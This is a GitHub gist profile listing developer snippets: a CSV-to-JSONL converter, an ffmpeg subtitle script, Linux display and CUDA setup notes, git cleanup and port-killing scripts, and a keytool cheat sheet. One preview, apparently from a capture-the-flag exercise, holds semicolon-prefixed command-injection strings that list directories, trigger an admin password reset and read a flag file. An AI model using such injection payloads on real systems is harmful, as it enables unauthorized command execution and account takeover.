Skip to content

Instantly share code, notes, and snippets.

View p-karanthaker's full-sized avatar
🎯
Focusing

Karan Thaker p-karanthaker

🎯
Focusing
View GitHub Profile
@p-karanthaker
p-karanthaker / csv-jsonl.py
Last active February 9, 2024 15:43
csv to jsonl example for chatgpt openai api
import csv
import json
with open('source.csv') as csvfile, open("target.jsonl", "a") as jsonfile:
r = csv.reader(csvfile)
next(r, None)
for row in r:
model = {
"messages": [
{
@p-karanthaker
p-karanthaker / naruto-kai-sub-fix.sh
Created June 23, 2023 22:53
Converts Naruto Kai .mkv episodes with separate subtitle streams to .mp4 with hardcoded subtitles. Chromecast doesn't like the subtitle streams and displays them with no spacing. The script uses ffmpeg with nvidia hardware acceleration.
#!/bin/bash
# Converts Naruto Kai .mkv episodes with separate subtitle streams to .mp4 with hardcoded subtitles.
# Chromecast doesn't like the subtitle streams and displays them with no spacing.
# The script uses ffmpeg with nvidia hardware acceleration.
#
# Recommend to dryrun first which will echo all commands that it will run. If you're happy with it,
# then run the script without the dryrun flag
# Usage: ./naruto-kai-sub-fix.sh /dir/to/search -dryrun
# Usage: ./naruto-kai-sub-fix.sh /dir/to/search
@p-karanthaker
p-karanthaker / gnome-second-display-disabled.md
Last active March 1, 2023 10:29
Pop!_OS / GNOME second display disabled after suspend and wake

Pop!_OS / GNOME second display disabled after suspend and wake

I've found that my second display often becomes disabled or mirrored after waking my pc from suspend when using the GNOME desktop environment.

My workaround is to restart the GNOME shell using ALT+F2 and then typing r and hitting return.

; ls -la / echo;
; curl "https://login.oasc.ctf.infosec.amazon.dev/reset?user=admin" -v;
; cat /sup3r-0bscuR3-n@m3-0f_TH3_fl4g.txt;
2
3
@p-karanthaker
p-karanthaker / f35-nvidia-cuda.md
Last active May 4, 2023 14:43
Fedora 35 NVIDIA/CUDA Installation for TensorFlow

Fedora 35 NVIDIA/CUDA Installation for TensorFlow

These are the steps I took for the installation of the NVIDIA drivers and CUDA toolkit for use with TensorFlow on Fedora 35. I have documented them since I had a lot of difficulty getting it to work and couldn't boot to a graphical desktop a few times. These steps worked for me, hopefully they do for others.

Assumptions

I am running on a 64 bit system and used KDE Plasma with X11 so these instructions may differ for people using GNOME, Wayland and any other combinations.

Pre-requisites

  • If you have installed any NVIDIA drivers other than the akmod-nvidia drivers from the @rpmfusion-nonfree repo, remove them completely.
  • Remove any other NVIDIA/CUDA installations. Find them with sudo dnf list installed | egrep '(nvidia|cuda)'
  • If the nvidia-driver module is enabled, disable it - sudo dnf module disable nvidia-driver - this caused me issues when trying to install the akmod drivers

FWIW: I'm not the author of the content presented here (which is an outline from Edmond Lau's book). I've just copy-pasted it from somewhere over the Internet, but I cannot remember what exactly the original source is. I was also not able to find the author's name, so I cannot give him/her the proper credits.


Effective Engineer - Notes

What's an Effective Engineer?

@p-karanthaker
p-karanthaker / pull-all-heads.sh
Last active May 16, 2021 19:41
Pulls the HEAD branch of all git repos in a directory and deletes branches which are no longer on remote
for gitDir in *; do
headBranch=$(git -C "$gitDir" symbolic-ref --short HEAD)
git -C "$gitDir" checkout "$headBranch"
git -C "$gitDir" pull
for branch in $(git -C "$gitDir" for-each-ref --format '%(refname) %(upstream:track)' refs/heads | awk '$2 == "[gone]" {sub("refs/heads/", "", $1); print $1}'); do
git branch -D $branch
done
done
@p-karanthaker
p-karanthaker / kill-porthog.sh
Last active May 16, 2021 20:24
Kills the process which is using a given port
#!/bin/bash
re='^[0-9]+$'
if ! [[ $1 =~ $re ]] ; then
echo "error: Port must be a number" >&2; exit 1
fi
pids=( $(sudo lsof -ti:$1) )
if [[ ! -z "$pids" ]]
then
@p-karanthaker
p-karanthaker / local-branch-delete.sh
Last active November 16, 2020 10:10
Deletes local git branches that are not on remote.
git fetch -p && for branch in $(git for-each-ref --format '%(refname) %(upstream:track)' refs/heads | awk '$2 == "[gone]" {sub("refs/heads/", "", $1); print $1}'); do git branch -D $branch; done
@p-karanthaker
p-karanthaker / java_keytool_cheat_sheet.md
Created October 16, 2020 11:15 — forked from Hakky54/java_keytool_cheat_sheet.md
Some list of keytool commands for create, check and verify your keys

Keytool

Creation and importing

Generate a Java keystore and key pair

keytool -keystore keystore.jks -genkeypair -keyalg RSA -keysize 2048 -alias server -validity 3650 -deststoretype pkcs12 

Generate a Java keystore and key pair and include Distinguished Name as one-liner and the Extensions